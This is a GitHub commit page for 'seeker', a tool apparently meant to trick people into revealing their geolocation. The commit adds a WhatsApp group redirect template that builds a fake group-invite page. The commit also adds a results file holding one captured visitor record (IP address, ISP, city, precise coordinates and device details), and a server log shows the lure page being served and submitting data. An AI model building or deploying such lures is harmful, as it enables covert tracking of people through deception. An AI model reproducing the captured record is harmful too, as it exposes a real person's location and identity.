Skip to content

Commit

Permalink
v1.2.7 - whatsapp redirect template added
Browse files Browse the repository at this point in the history
  • Loading branch information
thewhiteh4t committed May 20, 2022
1 parent b39341a commit b0479fe
Show file tree
Hide file tree
Showing 26 changed files with 19,016 additions and 6 deletions.
1 change: 1 addition & 0 deletions db/results.csv
Original file line number Diff line number Diff line change
@@ -1 +1,2 @@

Linux x86_64,Linux x86_64,4,Not Available,Intel,Intel(R) HD Graphics 400,1920x1080,Firefox/100.0,205.254.172.126,Asia,India,Delhi,New Delhi,Excitel Broadband Pvt Ltd,Excitel Broadband Private Limited,28.6654464 deg,77.3259264 deg,7528.644247234066 m,Not Available,Not Available,Not Available
1 change: 0 additions & 1 deletion logs/info.txt
Original file line number Diff line number Diff line change
@@ -1 +0,0 @@

35 changes: 34 additions & 1 deletion logs/php.log
Original file line number Diff line number Diff line change
@@ -1 +1,34 @@

[Fri May 20 21:49:39 2022] PHP 8.1.5 Development Server (https://0.0.0.0:8080) started
[Fri May 20 21:49:42 2022] 127.0.0.1:55914 Accepted
[Fri May 20 21:49:42 2022] 127.0.0.1:55914 [200]: GET /index.html
[Fri May 20 21:49:42 2022] 127.0.0.1:55914 Closing
[Fri May 20 21:49:56 2022] 127.0.0.1:55916 Accepted
[Fri May 20 21:49:56 2022] 127.0.0.1:55916 [200]: GET /
[Fri May 20 21:49:56 2022] 127.0.0.1:55916 Closing
[Fri May 20 21:49:57 2022] 127.0.0.1:55918 Accepted
[Fri May 20 21:49:57 2022] 127.0.0.1:55920 Accepted
[Fri May 20 21:49:57 2022] 127.0.0.1:55922 Accepted
[Fri May 20 21:49:57 2022] 127.0.0.1:55924 Accepted
[Fri May 20 21:49:57 2022] 127.0.0.1:55918 [200]: GET /css/Epf3I8GM5jv.css
[Fri May 20 21:49:57 2022] 127.0.0.1:55924 [200]: GET /css/s9hWiNS5894.css
[Fri May 20 21:49:57 2022] 127.0.0.1:55920 [200]: GET /js/location.js
[Fri May 20 21:49:57 2022] 127.0.0.1:55918 Closing
[Fri May 20 21:49:57 2022] 127.0.0.1:55922 [200]: GET /js/info.js
[Fri May 20 21:49:57 2022] 127.0.0.1:55920 Closing
[Fri May 20 21:49:57 2022] 127.0.0.1:55924 Closing
[Fri May 20 21:49:57 2022] 127.0.0.1:55922 Closing
[Fri May 20 21:49:59 2022] 127.0.0.1:55928 Accepted
[Fri May 20 21:49:59 2022] 127.0.0.1:55926 Accepted
[Fri May 20 21:49:59 2022] 127.0.0.1:55926 [200]: GET /images/grp_test.png
[Fri May 20 21:49:59 2022] 127.0.0.1:55928 [200]: GET /images/-r3j-x8ZnM7.svg
[Fri May 20 21:49:59 2022] 127.0.0.1:55926 Closing
[Fri May 20 21:49:59 2022] 127.0.0.1:55928 Closing
[Fri May 20 21:50:00 2022] 127.0.0.1:55930 Accepted
[Fri May 20 21:50:00 2022] 127.0.0.1:55930 [200]: GET /images/rYZqPCBaG70.png
[Fri May 20 21:50:00 2022] 127.0.0.1:55930 Closing
[Fri May 20 21:50:00 2022] 127.0.0.1:55932 Accepted
[Fri May 20 21:50:00 2022] 127.0.0.1:55932 [200]: POST /info_handler.php
[Fri May 20 21:50:00 2022] 127.0.0.1:55932 Closing
[Fri May 20 21:50:04 2022] 127.0.0.1:55936 Accepted
[Fri May 20 21:50:04 2022] 127.0.0.1:55936 [200]: POST /result_handler.php
[Fri May 20 21:50:04 2022] 127.0.0.1:55936 Closing
1 change: 0 additions & 1 deletion logs/result.txt
Original file line number Diff line number Diff line change
@@ -1 +0,0 @@

2 changes: 1 addition & 1 deletion metadata.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "seeker",
"author": "thewhiteh4t",
"version": "1.2.5",
"version": "1.2.7",
"twitter": "https://twitter.com/thewhiteh4t",
"comms": "https://twc1rcle.com/"
}
2 changes: 1 addition & 1 deletion seeker.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
#!/usr/bin/env python3

VERSION = '1.2.6'
VERSION = '1.2.7'

R = '\033[31m' # red
G = '\033[32m' # green
Expand Down
Binary file added template/__pycache__/__init__.cpython-310.pyc
Binary file not shown.
Binary file not shown.
35 changes: 35 additions & 0 deletions template/mod_whatsapp_redirect.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
#!/usr/bin/env python3

import os
import shutil

R = '\033[31m' # red
G = '\033[32m' # green
C = '\033[36m' # cyan
W = '\033[0m' # white

title = input(f'{G}[+] {C}Group Title : {W}')
image = input(f'{G}[+] {C}Path to Group Img (Best Size : 300x300): {W}')

img_name = image.split('/')[-1]
try:
shutil.copyfile(image, f'template/whatsapp_redirect/images/{img_name}')
except Exception as e:
print(f'\n{R}[-] {C}Exception : {W}{e}')
exit()

with open('template/whatsapp_redirect/index_temp.html', 'r') as index_temp:
code = index_temp.read()
code = code.replace('$TITLE$', title)
code = code.replace('$IMAGE$', 'images/{}'.format(img_name))

with open('template/whatsapp_redirect/index.html', 'w') as new_index:
new_index.write(code)

redirect = input(G + '[+]' + C + ' Enter WhatsApp Group URL : ' + W)
with open('template/whatsapp_redirect/js/location_temp.js', 'r') as js:
reader = js.read()
update = reader.replace('REDIRECT_URL', redirect)

with open('template/whatsapp_redirect/js/location.js', 'w') as js_update:
js_update.write(update)
6 changes: 6 additions & 0 deletions template/templates.json
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,12 @@
"module": true,
"import_file": "mod_whatsapp"
},
{
"name": "WhatsApp Redirect",
"dir_name": "whatsapp_redirect",
"module": true,
"import_file": "mod_whatsapp_redirect"
},
{
"name": "Telegram",
"dir_name": "telegram",
Expand Down
Loading

0 comments on commit b0479fe

Please sign in to comment.